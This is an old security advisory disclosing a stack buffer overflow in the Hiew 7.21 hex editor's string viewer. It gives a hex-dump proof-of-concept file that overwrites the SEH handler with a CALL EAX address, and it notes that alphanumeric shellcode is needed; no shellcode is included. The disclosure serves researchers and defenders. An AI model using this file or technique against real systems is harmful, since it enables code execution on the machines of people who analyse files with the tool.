```
 ------------------------------------------------------------------------------------
| 48Bits "Advisory" :   Hiew strings viewer Stack Overflow    -=-  www.48bits.com       |
 ------------------------------------------------------------------------------------
```

Hiew is a widely used analysis tool used mainly by vulnerability researchers, antivirus companies and reverse engineers.

Hiew version 7.21 is prone to a stack-based buffer overflow while parsing strings in an opened file, this vulnerability was updated on later versions of hiew, so u must update your hiew!!! :-)

Vulnerability details:

Latest hiew releases include a very useful string viewer feature, which can be used by pressing ALT+F6 when in hex dump mode. Internally hiew uses a fixed 0x400 bytes length local variable to manage each of these strings. If the file contains strings longer than 0x400 bytes the stack is overwritten, malicious attackers could exploit this vulnerability to execute code in the context of hiew.

Proof of concept :

(this is c&p from the hiew itself ;-))

```
00000000:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000010:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000020:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000030:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000040:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000050:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000060:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000070:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000080:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000090:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000A0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000B0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000C0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000D0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000E0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000000F0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000100:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000110:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000120:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000130:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000140:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000150:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000160:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000170:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000180:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000190:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001A0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001B0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001C0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001D0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001E0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000001F0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000200:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000210:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000220:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000230:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000240:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000250:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000260:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000270:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000280:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000290:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002A0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002B0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002C0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002D0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002E0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000002F0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000300:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000310:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000320:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000330:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000340:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000350:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000360:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
```

```
00000370:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000380:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000390:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003A0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003B0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003C0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003D0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003E0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
000003F0:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000400:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000410:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000420:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000430:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000440:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000450:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000460:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000470:  61 61 61 61-61 61 61 61-61 61 61 61-61 61 61 61  aaaaaaaaaaaaaaaa
00000480:  61 61 61 61-61 61 61 61-61 61 61 61-30 79 43     aaaaaaaaaaaa0yC
```

This binary file was tested on W2KSP4, it uses no shellcode and no
dependent OS offsets. Return address was overwritten with 0x61616161.
Keep in mind that in order to successful exploit the overflow an
alphanumeric offset and alphanumeric shellcode must be used, due to
this fact in this proof of concept SEH default handler was overwritten with:

0 x [Original byte == 0x0]437930 -> "Cy0" <- alphanumeric

0x00437930 points to a "CALL EAX" which is placed on the unpacked body
of Hiew, (hiew is packed with aspack), at this moment EAX, at least
in W2KSP4, points to a substring within the main chain.

Vulnerability discovered and analysis Performed by:

Pablo Echezarreta Acebedo
Mario Ballano Bárcena mballano[4t]gmail.com

[48Bits I+D team] -=- www.48bits.com